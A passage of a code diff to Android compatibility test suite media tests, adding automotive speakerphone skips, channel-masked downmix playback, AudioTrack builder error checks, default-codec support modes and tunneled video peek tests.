+        for (int i = 0; i < array.length; ++i) {
+            if ((packMask & (1 << j)) == 0) {
+                array[i] = 0;
+            }
+            if (++j >= channels) {
+                j = 0;
+            }
+        }
+    }
+
+    /**
      * Create and fill a short array with complete sine waves so we can
      * hear buffer underruns more easily.
      */
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 56df011..f5c4ffd 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -263,6 +263,10 @@
 
     @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
     public void testSpeakerphoneIntent() throws Exception {
+        //  Speaker Phone Not supported in Automotive
+        if (isAutomotive()) {
+            return;
+        }
         final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver(
                 AudioManager.ACTION_SPEAKERPHONE_STATE_CHANGED);
         final boolean initialSpeakerphoneState = mAudioManager.isSpeakerphoneOn();
@@ -450,6 +454,10 @@
         assertTrueCheckTimeout(mAudioManager, p -> !p.isBluetoothScoOn(),
                 DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned true");
 
+        //  Speaker Phone Not supported in Automotive
+        if (isAutomotive()) {
+            return;
+        }
         mAudioManager.setSpeakerphoneOn(true);
         assertTrueCheckTimeout(mAudioManager, p -> p.isSpeakerphoneOn(),
                 DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned false");
@@ -770,11 +778,10 @@
 
             // volume same
             mAudioManager.setStreamVolume(stream, maxVolume, 0);
-            for (int k = 0; k < maxVolume; k++) {
-                mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
-                assertEquals("Vol ADJUST_RAISE onADJUST_SAME stream:" + stream,
-                        maxVolume, mAudioManager.getStreamVolume(stream));
-            }
+            mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            assertEquals("Vol ADJUST_RAISE onADJUST_SAME stream:" + stream,
+                    maxVolume, mAudioManager.getStreamVolume(stream));
 
             mAudioManager.setStreamVolume(stream, maxVolume, 0);
         }
@@ -800,15 +807,15 @@
         assertMusicActive(true);
 
         // adjust volume as ADJUST_SAME
-        for (int k = 0; k < maxMusicVolume; k++) {
-            mAudioManager.adjustVolume(ADJUST_SAME, 0);
-            assertStreamVolumeEquals(STREAM_MUSIC, maxMusicVolume);
-        }
+        mAudioManager.adjustVolume(ADJUST_SAME, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        assertStreamVolumeEquals(STREAM_MUSIC, maxMusicVolume);
 
         // adjust volume as ADJUST_RAISE
         mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
         volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
         mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
         assertStreamVolumeEquals(STREAM_MUSIC, Math.min(volumeDelta, maxMusicVolume));
 
         // adjust volume as ADJUST_LOWER
@@ -1943,6 +1950,12 @@
         assertTrue(errorString, result);
     }
 
+    private boolean isAutomotive() {
+        PackageManager pm = mContext.getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
+
     // getParameters() & setParameters() are deprecated, so don't test
 
     // setAdditionalOutputDeviceDelay(), getAudioVolumeGroups(), getVolumeIndexForAttributes()
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index c745207..8065633 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1720,7 +1720,7 @@
 
         playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
                 TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, TEST_FREQUENCY, TEST_SR, TEST_CONF,
-                NO_WAIT);
+                NO_WAIT, 0 /* mask */);
     }
 
     @Test
@@ -1762,7 +1762,7 @@
                 for (int TEST_CONF : TEST_CONF_ARRAY) {
                     playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
                             TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR, TEST_CONF,
-                            WAIT_MSEC);
+                            WAIT_MSEC, 0 /* mask */);
                     frequency += 50; // increment test tone frequency
                 }
             }
@@ -1771,7 +1771,8 @@
 
     private void playOnceStreamData(String testName, int testMode, int testStream,
             float testSweep, boolean isLowRamDevice, int testFormat, double testFrequency,
-            int testSr, int testConf, long waitMsec) throws InterruptedException {
+            int testSr, int testConf, long waitMsec, int mask)
+            throws InterruptedException {
         final int channelCount = Integer.bitCount(testConf);
         if (isLowRamDevice
                 && (testSr > 96000 || channelCount > 4)) {
@@ -1790,9 +1791,9 @@
         assertEquals(testName, testConf, format.getChannelMask());
         assertEquals(testName, channelCount, format.getChannelCount());
         assertEquals(testName, testFormat, format.getEncoding());
-        final int sourceSamples = channelCount
-                * AudioHelper.frameCountFromMsec(500,
-                format); // duration of test tones
+        // duration of test tones
+        final int frames = AudioHelper.frameCountFromMsec(500 /* ms */, format);
+        final int sourceSamples = channelCount * frames;
         final double frequency = testFrequency / channelCount;
 
         int written = 0;
@@ -1815,6 +1816,9 @@
                 byte data[] = AudioHelper.createSoundDataInByteArray(
                         sourceSamples, testSr,
                         frequency, testSweep);
+                if (mask != 0) {
+                    AudioHelper.maskArray(data, testConf, mask);
+                }
                 while (written < data.length) {
                     int samples = Math.min(data.length - written, samplesPerWrite);
                     int ret = track.write(data, written, samples);
@@ -1827,6 +1831,9 @@
                 short data[] = AudioHelper.createSoundDataInShortArray(
                         sourceSamples, testSr,
                         frequency, testSweep);
+                if (mask != 0) {
+                    AudioHelper.maskArray(data, testConf, mask);
+                }
                 while (written < data.length) {
                     int samples = Math.min(data.length - written, samplesPerWrite);
                     int ret = track.write(data, written, samples);
@@ -1839,6 +1846,9 @@
                 float data[] = AudioHelper.createSoundDataInFloatArray(
                         sourceSamples, testSr,
                         frequency, testSweep);
+                if (mask != 0) {
+                    AudioHelper.maskArray(data, testConf, mask);
+                }
                 while (written < data.length) {
                     int samples = Math.min(data.length - written, samplesPerWrite);
                     int ret = track.write(data, written, samples,
@@ -3204,7 +3214,10 @@
         };
         final int TEST_CONF_ARRAY[] = {
             AudioFormat.CHANNEL_OUT_5POINT1POINT2, // 8 ch (includes height channels vs 7.1).
+            AudioFormat.CHANNEL_OUT_7POINT1POINT2, // 10ch
             AudioFormat.CHANNEL_OUT_7POINT1POINT4, // 12 ch
+            AudioFormat.CHANNEL_OUT_9POINT1POINT4, // 14 ch
+            AudioFormat.CHANNEL_OUT_9POINT1POINT6, // 16 ch
             AudioFormat.CHANNEL_OUT_22POINT2,      // 24 ch
         };
 
@@ -3222,7 +3235,7 @@
                     }
                     playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
                             TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR, TEST_CONF,
-                            WAIT_MSEC);
+                            WAIT_MSEC, 0 /* mask */);
                     frequency += 50; // increment test tone frequency
                 }
             }
@@ -3277,6 +3290,199 @@
         }
     }
 
+    /**
+     * Verifies downmixer works with different AudioTrack surround channel masks.
+     *
+     * Also a listening test: on a stereo output device, you should hear sine wave tones
+     * instead of silence if the downmixer is working.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testDownmix() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final String TEST_NAME = "testDownmix";
+        final int TEST_FORMAT_ARRAY[] = {
+            // AudioFormat.ENCODING_PCM_8BIT,  // sounds a bit tinny
+            AudioFormat.ENCODING_PCM_16BIT,
+            AudioFormat.ENCODING_PCM_FLOAT,
+        };
+        final int TEST_SR_ARRAY[] = {
+            48000,
+        };
+        final int TEST_CONF_ARRAY[] = {
+            // This test will play back FRONT_WIDE_LEFT, then FRONT_WIDE_RIGHT.
+            AudioFormat.CHANNEL_OUT_FRONT_LEFT | AudioFormat.CHANNEL_OUT_FRONT_RIGHT |
+            AudioFormat.CHANNEL_OUT_FRONT_WIDE_LEFT | AudioFormat.CHANNEL_OUT_FRONT_WIDE_RIGHT,
+        };
+
+        final int TEST_MODE = AudioTrack.MODE_STREAM;
+        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        final float TEST_SWEEP = 0; // sine wave only
+        final boolean TEST_IS_LOW_RAM_DEVICE = false;
+        for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
+            double frequency = 400; // Note: frequency changes for each test
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_CONF : TEST_CONF_ARRAY) {
+                    // Remove the front left and front right channels.
+                    int signalMask = TEST_CONF & ~(AudioFormat.CHANNEL_OUT_FRONT_LEFT
+                            | AudioFormat.CHANNEL_OUT_FRONT_RIGHT);
+                    // Play all the "surround channels" in the mask individually
+                    // at different frequencies.
+                    while (signalMask != 0) {
+                        final int lowbit = signalMask & -signalMask;
+                        playOnceStreamData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
+                                TEST_IS_LOW_RAM_DEVICE, TEST_FORMAT, frequency, TEST_SR,
+                                TEST_CONF, WAIT_MSEC, lowbit);
+                        signalMask -= lowbit;
+                        frequency += 50; // increment test tone frequency
+                    }
+                }
+            }
+        }
+    }
+
+    /**
+     * Ensure AudioTrack.getMinBufferSize invalid arguments return BAD_VALUE instead
+     * of throwing exception.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testInvalidMinBufferSize() throws Exception {
+        int TEST_SAMPLE_RATE = 24000;
+        int TEST_CHANNEL_CONFIGURATION = AudioFormat.CHANNEL_OUT_STEREO;
+        int TEST_ENCODING = AudioFormat.ENCODING_PCM_16BIT;
+
+        for (int i = 1; i < 8; ++i) {
+            int minBuffSize = AudioTrack.getMinBufferSize(
+                    (i & 1) != 0 ? 0 : TEST_SAMPLE_RATE,
+                    (i & 2) != 0 ? AudioFormat.CHANNEL_INVALID : TEST_CHANNEL_CONFIGURATION,
+                    (i & 4) != 0 ? AudioFormat.ENCODING_INVALID :TEST_ENCODING);
+            assertEquals("Invalid configuration " + i + " should return ERROR_BAD_VALUE",
+                    AudioTrack.ERROR_BAD_VALUE, minBuffSize);
+        }
+    }
+
+    /**
+     * Test AudioTrack Builder error handling.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testAudioTrackBuilderError() throws Exception {
+        if (!hasAudioOutput()) {
+            return;
+        }
+
+        final AudioTrack[] audioTrack = new AudioTrack[1]; // pointer to audio track.
+        final int BIGNUM = Integer.MAX_VALUE; // large value that should be invalid.
+        final int INVALID_SESSION_ID = 1024;  // can never occur (wrong type in 3 lsbs)
+        final int INVALID_CHANNEL_MASK = -1;
+
+        try {
+            // NOTE:
+            // Tuner Configuration builder error tested in testTunerConfiguration (same file).
+            // AudioAttributes tested in AudioAttributesTest#testAudioAttributesBuilderError.
+            // AudioFormat tested in AudioFormatTest#testAudioFormatBuilderError.
+
+            // We must be able to create the AudioTrack.
+            audioTrack[0] = new AudioTrack.Builder().build();
+            audioTrack[0].release();
+
+            // Out of bounds buffer size.  A large size will fail in AudioTrack creation.
+            assertThrows(UnsupportedOperationException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setBufferSizeInBytes(BIGNUM)
+                        .build();
+            });
+
+            // 0 and negative buffer size throw IllegalArgumentException
+            for (int bufferSize : new int[] {-BIGNUM, -1, 0}) {
+                assertThrows(IllegalArgumentException.class, () -> {
+                    audioTrack[0] = new AudioTrack.Builder()
+                            .setBufferSizeInBytes(bufferSize)
+                            .build();
+                });
+            }
+
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setEncapsulationMode(BIGNUM)
+                        .build();
+            });
+
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setPerformanceMode(BIGNUM)
+                        .build();
+            });
+
+            // Invalid session id that is positive.
+            // (logcat error message vague)
+            assertThrows(UnsupportedOperationException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setSessionId(INVALID_SESSION_ID)
+                        .build();
+            });
+
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setTransferMode(BIGNUM)
+                        .build();
+            });
+
+            // Specialty AudioTrack build errors.
+
+            // Bad audio encoding DRA expected unsupported.
+            try {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                                .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+                                .setEncoding(AudioFormat.ENCODING_DRA)
+                                .build())
+                        .build();
+                // Don't throw an exception, maybe it is supported somehow, but warn.
+                // Note: often specialty audio formats are offloaded (see setOffloadedPlayback).
+                // AudioTrackSurroundTest and AudioTrackOffloadedTest can be used as examples.
+                Log.w(TAG, "ENCODING_DRA is expected to be unsupported");
+                audioTrack[0].release();
+                audioTrack[0] = null;
+            } catch (UnsupportedOperationException e) {
+                ; // OK expected
+            }
+
+            // Sample rate out of bounds.
+            // System levels caught on AudioFormat.
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                                .setSampleRate(BIGNUM)
+                                .build())
+                        .build();
+            });
+
+            // Invalid channel mask - caught here on use.
+            assertThrows(IllegalArgumentException.class, () -> {
+                audioTrack[0] = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                                .setChannelMask(INVALID_CHANNEL_MASK)
+                                .build())
+                        .build();
+            });
+        } finally {
+            // Did we successfully complete for some reason but did not
+            // release?
+            if (audioTrack[0] != null) {
+                audioTrack[0].release();
+                audioTrack[0] = null;
+            }
+        }
+    }
+
 /* Do not run in JB-MR1. will be re-opened in the next platform release.
     public void testResourceLeakage() throws Exception {
         final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 1b81565..32ed58c 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -62,7 +62,9 @@
 import java.time.Duration;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
 import java.util.function.Supplier;
 import java.util.zip.CRC32;
 import java.util.concurrent.CountDownLatch;
@@ -89,6 +91,11 @@
     private static final int CONFIG_MODE_NONE = 0;
     private static final int CONFIG_MODE_QUEUE = 1;
 
+    private static final int CODEC_ALL = 0; // All codecs must support
+    private static final int CODEC_ANY = 1; // At least one codec must support
+    private static final int CODEC_DEFAULT = 2; // Default codec must support
+    private static final int CODEC_OPTIONAL = 3; // Codec support is optional
+
     short[] mMasterBuffer;
     static final String mInpPrefix = WorkDir.getMediaDirString();
 
@@ -99,6 +106,7 @@
     private static final String MODULE_NAME = "CtsMediaTestCases";
     private DynamicConfigDeviceSide dynamicConfig;
     private DisplayManager mDisplayManager;
+    static final Map<String, String> sDefaultDecoders = new HashMap<>();
 
     private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
 
@@ -146,6 +154,18 @@
         }
     }
 
+    static boolean isDefaultCodec(String codecName, String mime) throws IOException {
+        if (sDefaultDecoders.containsKey(mime)) {
+            return sDefaultDecoders.get(mime).equalsIgnoreCase(codecName);
+        }
+        MediaCodec codec = MediaCodec.createDecoderByType(mime);
+        boolean isDefault = codec.getName().equalsIgnoreCase(codecName);
+        sDefaultDecoders.put(mime, codec.getName());
+        codec.release();
+
+        return isDefault;
+    }
+
     // TODO: add similar tests for other audio and video formats
     public void testBug11696552() throws Exception {
         MediaCodec mMediaCodec = MediaCodec.createDecoderByType(MediaFormat.MIMETYPE_AUDIO_AAC);
@@ -1337,8 +1357,13 @@
                                     Arrays.equals(loadByteArrayFromString(INVALID_HDR_STATIC_INFO),
                                                   staticInfo.array()));
                         }
-                        assertFalse("Buffer should not have dynamic HDR metadata present",
-                                bufferFormat.containsKey(MediaFormat.KEY_HDR10_PLUS_INFO));
+                        ByteBuffer hdr10PlusInfo = bufferFormat.getByteBuffer(
+                                MediaFormat.KEY_HDR10_PLUS_INFO, null);
+                        if (hdr10PlusInfo != null) {
+                            assertEquals(
+                                    "Buffer should not have a valid dynamic HDR metadata present",
+                                    0, hdr10PlusInfo.remaining());
+                        }
 
                         if (!dynamic) {
                             codec.releaseOutputBuffer(index,  true);
@@ -1568,7 +1593,7 @@
         };
 
         for (Object [] sample: samples) {
-            for (String codecName : codecsFor((String)sample[0])) {
+            for (String codecName : codecsFor((String)sample[0], CODEC_DEFAULT)) {
                 AudioParameter decParams = new AudioParameter();
                 short[] decSamples = decodeToMemory(codecName, decParams,
                         (String)sample[0] /* resource */, RESET_MODE_NONE, CONFIG_MODE_NONE,
@@ -1589,7 +1614,7 @@
                 {"noise_6ch_44khz_aot5_dr_sbr_sig2_mp4.m4a", 6},
         };
         for (Object [] sample: samples) {
-            for (String codecName : codecsFor((String)sample[0] /* resource */)) {
+            for (String codecName : codecsFor((String)sample[0] /* resource */, CODEC_DEFAULT)) {
                 AudioParameter decParams = new AudioParameter();
                 short[] decSamples = decodeToMemory(codecName, decParams,
                         (String)sample[0] /* resource */, RESET_MODE_NONE, CONFIG_MODE_NONE,
@@ -1610,7 +1635,7 @@
                 "noise_2ch_48khz_aot29_dr_sbr_sig2_mp4.m4a"
         };
         for (String sample: samples) {
-            for (String codecName : codecsFor(sample)) {
+            for (String codecName : codecsFor(sample, CODEC_DEFAULT)) {
                 AudioParameter decParams = new AudioParameter();
                 short[] decSamples = decodeToMemory(codecName, decParams, sample,
                         RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
@@ -1624,20 +1649,20 @@
      */
     public void testDecodeAacEldM4a() throws Exception {
         // mono
-        decodeNtest("sinesweep1_1ch_16khz_aot39_fl480_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_22khz_aot39_fl512_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_24khz_aot39_fl480_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_32khz_aot39_fl512_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_44khz_aot39_fl480_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_48khz_aot39_fl512_mp4.m4a", 40.f);
+        decodeNtest("sinesweep1_1ch_16khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep1_1ch_22khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep1_1ch_24khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep1_1ch_32khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep1_1ch_44khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep1_1ch_48khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
 
         // stereo
-        decodeNtest("sinesweep_2ch_16khz_aot39_fl512_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_22khz_aot39_fl480_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_24khz_aot39_fl512_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_32khz_aot39_fl480_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_44khz_aot39_fl512_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_48khz_aot39_fl480_mp4.m4a", 40.f);
+        decodeNtest("sinesweep_2ch_16khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep_2ch_22khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep_2ch_24khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep_2ch_32khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep_2ch_44khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep_2ch_48khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
 
         AudioParameter decParams = new AudioParameter();
 
@@ -1655,7 +1680,7 @@
                 {"noise_2ch_48khz_aot39_ds_sbr_fl512_mp4.m4a", 2},
         };
         for (Object [] sample: samples) {
-            for (String codecName : codecsFor((String)sample[0])) {
+            for (String codecName : codecsFor((String)sample[0], CODEC_DEFAULT)) {
                 short[] decSamples = decodeToMemory(codecName, decParams,
                         (String)sample[0] /* resource */, RESET_MODE_NONE, CONFIG_MODE_NONE,
                         -1, null);
@@ -1897,9 +1922,14 @@
      * @throws Exception
      */
     private void decodeNtest(final String testinput, float maxerror) throws Exception {
+        decodeNtest(testinput, maxerror, CODEC_ALL);
+    }
+
+    private void decodeNtest(final String testinput, float maxerror, int codecSupportMode)
+            throws Exception {
         String localTag = TAG + "#decodeNtest";
 
-        for (String codecName: codecsFor(testinput)) {
+        for (String codecName: codecsFor(testinput, codecSupportMode)) {
             AudioParameter decParams = new AudioParameter();
             short[] decoded = decodeToMemory(codecName, decParams, testinput,
                     RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
@@ -1946,6 +1976,11 @@
     }
 
     protected static List<String> codecsFor(String resource) throws IOException {
+        return codecsFor(resource, CODEC_ALL);
+    }
+
+    protected static List<String> codecsFor(String resource, int codecSupportMode)
+            throws IOException {
         MediaExtractor ex = new MediaExtractor();
         AssetFileDescriptor fd = getAssetFileDescriptorFor(resource);
         try {
@@ -1965,7 +2000,18 @@
             try {
                 MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
                 if (caps != null) {
-                    matchingCodecs.add(info.getName());
+                    if (codecSupportMode == CODEC_ALL) {
+                        matchingCodecs.add(info.getName());
+                    } else if (codecSupportMode == CODEC_DEFAULT) {
+                        if (caps.isFormatSupported(format)) {
+                            matchingCodecs.add(info.getName());
+                        } else if (isDefaultCodec(info.getName(), mime)) {
+                            fail(info.getName() + " which is a default decoder for mime " + mime
+                                   + ", does not declare support for " + format.toString());
+                        }
+                    } else {
+                        fail("Unhandled codec support mode " + codecSupportMode);
+                    }
                 }
             } catch (IllegalArgumentException e) {
                 // type is not supported
@@ -3733,6 +3779,312 @@
     }
 
     /**
+     * Test tunneled video peek is on by default if supported
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void testTunneledVideoPeekDefault(String mimeType, String videoName) throws Exception {
+        if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekDefault requires Android 12")) {
+            return;
+        }
+
+        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
+                                CodecCapabilities.FEATURE_TunneledPlayback),
+                        "No tunneled video playback codec found for MIME " + mimeType)){
+            return;
+        }
+
+        // Setup tunnel mode test media player
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.start();
+
+        // Assert that onFirstTunnelFrameReady is called
+        mMediaCodecPlayer.queueOneVideoFrame();
+        final int waitTimeMs = 150;
+        Thread.sleep(waitTimeMs);
+        assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds",
+                        waitTimeMs),
+                mMediaCodecPlayer.isFirstTunnelFrameReady());
+        // Assert that video peek is enabled and working
+        assertTrue(String.format("First frame not rendered within %d milliseconds", waitTimeMs),
+                mMediaCodecPlayer.getCurrentPosition() != 0);
+
+        // mMediaCodecPlayer.reset() handled in TearDown();
+    }
+
+    /**
+     * Test default tunneled video peek with HEVC if supported
+     */
+    public void testTunneledVideoPeekDefaultHevc() throws Exception {
+        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test default tunneled video peek with AVC if supported
+     */
+    public void testTunneledVideoPeekDefaultAvc() throws Exception {
+        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test default tunneled video peek with VP9 if supported
+     */
+    public void testTunneledVideoPeekDefaultVp9() throws Exception {
+        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+
+    /**
+     * Test tunneled video peek can be turned off then on.
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void testTunneledVideoPeekOff(String mimeType, String videoName) throws Exception {
+        if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOff requires Android 12")) {
+            return;
+        }
+
+        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
+                                CodecCapabilities.FEATURE_TunneledPlayback),
+                        "No tunneled video playback codec found for MIME " + mimeType)){
+            return;
+        }
+
+        // Setup tunnel mode test media player
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
+        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
+        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
+        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.start();
+        mMediaCodecPlayer.setVideoPeek(false); // Disable video peek
+
+        // Assert that onFirstTunnelFrameReady is called
+        mMediaCodecPlayer.queueOneVideoFrame();
+        final int waitTimeMsStep1 = 150;
+        Thread.sleep(waitTimeMsStep1);
+        assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds",
+                        waitTimeMsStep1),
+                mMediaCodecPlayer.isFirstTunnelFrameReady());
+        // Assert that video peek is disabled
+        assertEquals("First frame rendered while peek disabled",
+                mMediaCodecPlayer.getCurrentPosition(), 0);
+        mMediaCodecPlayer.setVideoPeek(true); // Reenable video peek
+        final int waitTimeMsStep2 = 150;
+        Thread.sleep(waitTimeMsStep2);
+        // Assert that video peek is enabled
+        assertTrue(String.format(
+                        "First frame not rendered within %d milliseconds while peek enabled",
+                        waitTimeMsStep2),
+                mMediaCodecPlayer.getCurrentPosition() != 0);
+
+        // mMediaCodecPlayer.reset() handled in TearDown();
+    }
+
+    /**
+     * Test tunneled video peek can be turned off then on with HEVC if supported
+     */
+    public void testTunneledVideoPeekOffHevc() throws Exception {
+        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test tunneled video peek can be turned off then on with AVC if supported
+     */
+    public void testTunneledVideoPeekOffAvc() throws Exception {
+        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test tunneled video peek can be turned off then on with VP9 if supported
+     */
+    public void testTunneledVideoPeekOffVp9() throws Exception {
+        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test accurate video rendering after a video MediaCodec flush.
+     *
+     * On some devices, queuing content when the player is paused, then triggering a flush, then
+     * queuing more content does not behave as expected. The queued content gets lost and the flush
+     * is really only applied once playback has resumed.
+     *
+     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
+     */
+    private void testTunneledAccurateVideoFlush(String mimeType, String videoName)
+            throws Exception {
+        if (!MediaUtils.check(mIsAtLeastS, "testTunneledAccurateVideoFlush requires Android 12")) {
+            return;
+        }
+
+        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
+                                CodecCapabilities.FEATURE_TunneledPlayback),
+                        "No tunneled video playback codec found for MIME " + mimeType)){
+            return;
+        }
+
+        // Setup tunnel mode test media player
+        AudioManager am = mContext.getSystemService(AudioManager.class);
+        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
+                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
+
+        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
+        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
